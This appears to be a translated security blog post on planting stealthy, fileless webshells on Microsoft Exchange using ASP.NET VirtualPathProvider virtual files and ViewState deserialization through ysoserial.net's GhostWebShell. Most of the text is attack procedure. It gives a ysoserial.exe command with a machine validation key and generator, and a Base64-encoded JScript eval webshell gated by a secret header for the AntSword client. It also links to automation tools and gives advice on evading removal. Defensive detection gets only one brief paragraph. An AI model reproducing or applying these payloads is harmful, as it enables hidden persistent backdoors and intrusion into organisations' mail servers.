0x00 Preface
---
Using ASP.NET's VirtualPathProvider class, virtual files can be created to achieve the following effect: the virtual file does not exist in the server's file system but can be dynamically compiled and accessed. ysoserial.net's GhostWebShell.cs provides an exploitable approach for learning purposes.
This article will introduce the exploitation methods of virtual files, building on ysoserial.net's GhostWebShell.cs to discuss exploitation techniques in Exchange environments, including open-source code, detailed records, and defensive recommendations.
0x01 Introduction
---
This article will cover the following topics:
- Exploitation of VirtualPathProvider in Exchange
- Exploitation of DotNet Deserialization in Exchange
- Defensive Detection
0x02 Exploitation of VirtualPathProvider in Exchange
---
References:
https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8
In implementation, it is necessary to inherit the VirtualPathProvider class and override two methods: FileExists and GetFile. After registering the VirtualPathProvider and creating an instance, implement the creation of virtual files.
Example code:
<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %> |
Note:
Code from https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/
Tested on Exchange as follows:
Save location: %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx
Access URL: https:///owa/auth/test1.aspx/deferred.aspx, returns: Compiled on the fly :), virtual file successfully accessed
Note:
Accessible path for virtual file: https:///owa/auth/test1.aspx/
When creating virtual files, compilation files are generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\
File name: test1.aspx..compiled
If the original file test1.aspx is deleted, the virtual file will also become invalid and inaccessible.
Although this method of implementing a Webshell can hide the real file content, it relies on the file, making it easy to remove and lacking sufficient stealth.
Using ysoserial.net's GhostWebShell.cs precisely solves this problem and improves stealth.
0x03 Exploitation of DotNet Deserialization
---
Reference code:
https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
Test environment:
Obtained Exchange file read/write permissions, enabling modification of %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config, setting the machineKey content as follows:
For .Net deserialization command execution at these two locations, valid user credentials are no longer required.
Here, %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx is selected, with the corresponding generator being 042A94E8.
The parameters for generating ViewState using ysoserial.net are as follows:
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8" |
Send ViewState using the following code:
# encoding: UTF-8 |
Access https:///owa/auth/fakepath31337/.aspx, returns: This is the attacker's file - running on the server if this 1337 is 1337., virtual file successfully accessed
This method does not rely on files, improving stealth
Next, modify GhostWebShell.cs to implement webshell functionality
Set virtual directory as root directory, example access URL: https:///owa/auth/.aspx
To avoid accidental access, add access conditions with Header validation, redirect to error page errorFE.aspx if conditions not met
One-line test code:
<%@ Page Language="Jscript"%><% |
When connecting with AntSword, you need to set the HTTP HEADERS as follows:
Name: Value |
The Base64-encoded string is: PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=
Replace the webshellContentsBase64 in GhostWebShell.cs
The complete Python implementation code has been uploaded to GitHub at the following address:
An open-source project
The code supports deserialization execution at two locations: the default existing files %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx. It can automatically generate GhostWebShell.cs with webshell functionality, using ysoserial.net to generate ViewState and send it.
The complete C# implementation code has been uploaded to GitHub at the following address:
An open-source project
The code functionality is the same as above, can be directly compiled and executed, no longer dependent on ysoserial.net
Note:
To facilitate testing under Exchange, I modified GhostWebShell.cs into an aspx file, which can be directly accessed for testing. The code address is as follows:
An open-source project
0x04 Defense Detection
---
ASP.NET Webshell created using virtual files, no longer requires writing aspx files. For defense, monitor compilation files generated in the temporary directory, default location: C:\Windows\Microsoft.NET\Framework64|Framework\\Temporary ASP.NET Files\owa\\\
It should be noted that attackers can delete the compilation files after generating them
0x05 Summary
---
This article introduces the exploitation methods of virtual files, targeting the Exchange environment, covering the use of VirtualPathProvider and DotNet deserialization, and provides defense recommendations.